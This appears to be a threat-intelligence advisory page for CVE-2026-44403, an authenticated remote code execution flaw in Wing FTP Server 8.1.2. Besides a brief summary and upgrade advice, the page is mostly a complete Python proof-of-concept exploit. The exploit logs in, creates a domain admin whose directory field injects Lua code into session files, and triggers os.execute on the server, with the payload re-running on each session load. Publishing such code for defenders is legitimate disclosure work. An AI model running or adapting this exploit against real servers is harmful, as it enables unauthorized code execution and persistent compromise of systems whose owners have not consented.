Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
AI Analysis
Technical Summary
CVE-2026-44403 is an authenticated remote code execution vulnerability affecting Wing FTP Server versions up to and including 8.1.2. An attacker who can authenticate to the server can exploit this flaw to execute arbitrary code remotely. The vulnerability was discovered and reported by Ünsal Furkan Harani. Exploit code is publicly available in Python. The issue is resolved in Wing FTP Server version 8.1.3.
Potential Impact
Successful exploitation allows an authenticated attacker to execute arbitrary code on the server hosting Wing FTP Server, potentially leading to full system compromise depending on the privileges of the service. This poses a critical risk to the confidentiality, integrity, and availability of the affected system.
Mitigation Recommendations
Upgrade Wing FTP Server to version 8.1.3 or later, where this vulnerability is fixed. No other mitigations are indicated by the vendor advisory.
Indicators of Compromise
- exploit-code: # Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution # Date: 12.05.2026 # Exploit Author: Ünsal Furkan Harani # Vendor Homepage: [https://www.wftpserver.com/](https://www.wftpserver.com/download.htm) # Software Link: https://www.wftpserver.com/download.htm # Version: v8.1.2 # Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3 # CVE : CVE-2026-44403 Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`. #!/usr/bin/env python3 """ PREREQUISITES: - Valid full admin credentials (not readonly, not domain admin) - Target: Wing FTP Server web admin panel (default port 5466) IMPACT: Remote Code Execution as the Wing FTP Server service account. Persistence: payload re-executes every time the poisoned session is loaded. """ import requests import hashlib import json import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class WingFTPSessionPoisoning: def __init__(self, target, admin_user, admin_pass, use_ssl=False): proto = "https" if use_ssl else "http" self.base_url = f"{proto}://{target}" self.admin_user = admin_user self.admin_pass = admin_pass self.session = requests.Session() self.session.verify = False def login(self): """Authenticate to the admin panel and obtain UIDADMIN session cookie.""" # service_login.html accepts credentials via POST url = f"{self.base_url}/service_login.html" data = { "username": self.admin_user, "password": self.admin_pass, } headers = { "Referer": f"{self.base_url}/admin_login.html", } resp = self.session.post(url, data=data, headers=headers) try: result = resp.json() if result.get("code") == 0: print(f"[+] Login successful as '{self.admin_user}'") return True elif result.get("code") in (1, 2): print(f"[-] 2FA required — this PoC doesn't handle TOTP") return False else: print(f"[-] Login failed: {result}") return False except Exception: # Legacy endpoint (admin_loginok.html) returns HTML if "logged in ok" in resp.text or "main.html" in resp.text: print(f"[+] Login successful (legacy endpoint)") return True print(f"[-] Login failed: {resp.text[:200]}") return False def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload): """ Create a domain admin with a poisoned 'mydirectory' (basefolder) field. The mydirectory value will be serialized as: _SESSION['admin_basefolder']=[[<mydirectory_value>]] Our payload breaks out of the [[ ]] long string: _SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]] When this session file is loaded via loadfile() + f(), the payload executes. """ # Construct the poisoned basefolder value # Format: <innocent_prefix>]]<lua_code>-- # The ]] closes the long string, code executes, -- comments out the rest poisoned_basefolder = f"/tmp/x]]{lua_payload}--" admin_obj = { "username": poison_admin_user, "password": poison_admin_pass, "readonly": False, "domainadmin": 1, # Make it a domain admin "domainlist": "", # Will be set by server "mydirectory": poisoned_basefolder, # THIS IS THE PAYLOAD "ipmasks": [], "enable_two_factor": False, "two_factor_code": "", } url = f"{self.base_url}/service_add_admin.html" headers = { "Referer": f"{self.base_url}/main.html", } admin_json = json.dumps(admin_obj, separators=(',', ':')) print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...") print(f"[*] Poisoned basefolder: {poisoned_basefolder}") # Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers) try: result = resp.json() if result.get("code") == 0: print(f"[+] Poisoned admin created successfully!") return True elif result.get("code") == -3: print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...") return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload) else: print(f"[-] Failed to create admin: {result}") return False except Exception: print(f"[-] Unexpected response: {resp.text[:200]}") return False def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload): """Modify existing admin to inject the poisoned basefolder.""" poisoned_basefolder = f"/tmp/x]]{lua_payload}--" admin_obj = { "username": poison_admin_user, "password": poison_admin_pass, "readonly": False, "domainadmin": 1, "domainlist": "", "mydirectory": poisoned_basefolder, "ipmasks": [], "enable_two_factor": False, "two_factor_code": "", } # service_modify_admin.html has NO bracket stripping at all url = f"{self.base_url}/service_modify_admin.html" headers = { "Referer": f"{self.base_url}/main.html", } admin_json = json.dumps(admin_obj, separators=(',', ':')) resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers) try: result = resp.json() if result.get("code") == 0: print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!") return True else: print(f"[-] Failed to modify admin: {result}") return False except Exception: print(f"[-] Unexpected response: {resp.text[:200]}") return False def trigger_payload(self, poison_admin_user, poison_admin_pass): """ Trigger the payload by logging in as the poisoned domain admin. On login, service_login.html:95-96 stores the basefolder in session: rawset(_SESSION,"admin_basefolder",basefolder) rawset(_SESSION,"admin_nowpath",basefolder) SessionModule.save() serializes it as: _SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]] The payload executes on the NEXT session load (any subsequent request). """ print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...") trigger_session = requests.Session() trigger_session.verify = False url = f"{self.base_url}/service_login.html" data = { "username": poison_admin_user, "password": poison_admin_pass, } headers = { "Referer": f"{self.base_url}/admin_login.html", } # Step 1: Login — stores poisoned basefolder in session resp = trigger_session.post(url, data=data, headers=headers) print(f"[*] Login response: {resp.text[:200]}") # Step 2: Any subsequent request triggers loadfile() on the session file # The session file now contains the Lua payload trigger_url = f"{self.base_url}/service_get_dir_list.html" headers["Referer"] = f"{self.base_url}/main.html" resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers) print(f"[*] Trigger response: {resp2.status_code}") print(f"[+] Payload should have executed on the server!") return True def demo_session_file(): """ Demonstrate what the poisoned session file looks like. Shows the exact Lua code that gets written and executed. """ print("=" * 70) print("DEMONSTRATION: Poisoned Session File Content") print("=" * 70) payload = 'os.execute("id > /tmp/wingftp_pwned.txt")' basefolder = f'/tmp/x]]{payload}--' print(f"\n[1] Admin sets mydirectory to:") print(f" {basefolder}") print(f"\n[2] On login, session is saved. serialize() outputs:") session_content = f"""_SESSION['admin']=[[poisoned_admin]] _SESSION['admin_basefolder']=[[{basefolder}]] _SESSION['admin_domainadmin']=1 _SESSION['admin_domainlist']=[[]] _SESSION['admin_nowpath']=[[{basefolder}]] _SESSION['admin_readonly']=0 _SESSION['ipaddress']=[[127.0.0.1]] _SESSION['logined']=[[true]]""" print(f" --- session file content ---") for line in session_content.split('\n'): print(f" {line}") print(f" --- end ---") print(f"\n[3] Lua parser sees the basefolder line as:") print(f" _SESSION['admin_basefolder']=[[/tmp/x]] --> string '/tmp/x'") print(f" {payload} --> EXECUTED AS CODE!") print(f" --]] --> comment (ignored)") print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.") print(f"\n[5] Result: '{payload}' runs as server process.") print("=" * 70) def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <mode> [args...]") print(f"") print(f"Modes:") print(f" demo — Show how the vulnerability works") print(f" exploit <host:port> <user> <pass> — Create poisoned admin and trigger RCE") print(f"") print(f"Examples:") print(f" {sys.argv[0]} demo") print(f" {sys.argv[0]} exploit 192.168.1.10:5466 admin password123") sys.exit(1) mode = sys.argv[1] if mode == "demo": demo_session_file() elif mode == "exploit": if len(sys.argv) < 5: print("Usage: exploit <host:port> <admin_user> <admin_pass>") sys.exit(1) target = sys.argv[2] admin_user = sys.argv[3] admin_pass = sys.argv[4] # Default payload — write proof file (Windows-compatible) lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")' poison_admin = "svc_backup" poison_pass = "P@ssw0rd123!" print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2") print(f"[*] Target: {target}") print(f"[*] Payload: {lua_payload}") print(f"[*] Poisoned admin account: {poison_admin}") print() exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass) if not exploit.login(): sys.exit(1) if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload): sys.exit(1) exploit.trigger_payload(poison_admin, poison_pass) print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution") else: print(f"Unknown mode: {mode}") sys.exit(1) if __name__ == "__main__": main() Sent with [Proton Mail](https://proton.me/mail/home) secure email.
Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
Description
Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-44403 is an authenticated remote code execution vulnerability affecting Wing FTP Server versions up to and including 8.1.2. An attacker who can authenticate to the server can exploit this flaw to execute arbitrary code remotely. The vulnerability was discovered and reported by Ünsal Furkan Harani. Exploit code is publicly available in Python. The issue is resolved in Wing FTP Server version 8.1.3.
Potential Impact
Successful exploitation allows an authenticated attacker to execute arbitrary code on the server hosting Wing FTP Server, potentially leading to full system compromise depending on the privileges of the service. This poses a critical risk to the confidentiality, integrity, and availability of the affected system.
Mitigation Recommendations
Upgrade Wing FTP Server to version 8.1.3 or later, where this vulnerability is fixed. No other mitigations are indicated by the vendor advisory.
Technical Details
- Cve
- CVE-2026-44403
- Version
- v8.1.2
- Author
- Ünsal Furkan Harani
- Platform
- Wing FTP Server <= 8.1.2, fixed in 8.1.3
- Edb Id
- 52589
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution # Date: 12.05.2026 # Exploit Author: Ünsal Furkan Harani # Vendor Homepage: [https://www.wftpserver.com/](https://www.wftpserver.com/download.htm) # Software Link: https://www.wftpserver.com/download.htm # Version: v8.1.2 # Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3 # CVE : CVE-2026-44403 Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An aut... (10978 more characters)
Threat ID: 6a1a0debe29bf47b5017f5de
Added to database: 05/29/2026, 22:06:35 UTC
Last enriched: 06/23/2026, 17:13:24 UTC
Last updated: 07/31/2026, 19:22:59 UTC
Views: 119
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.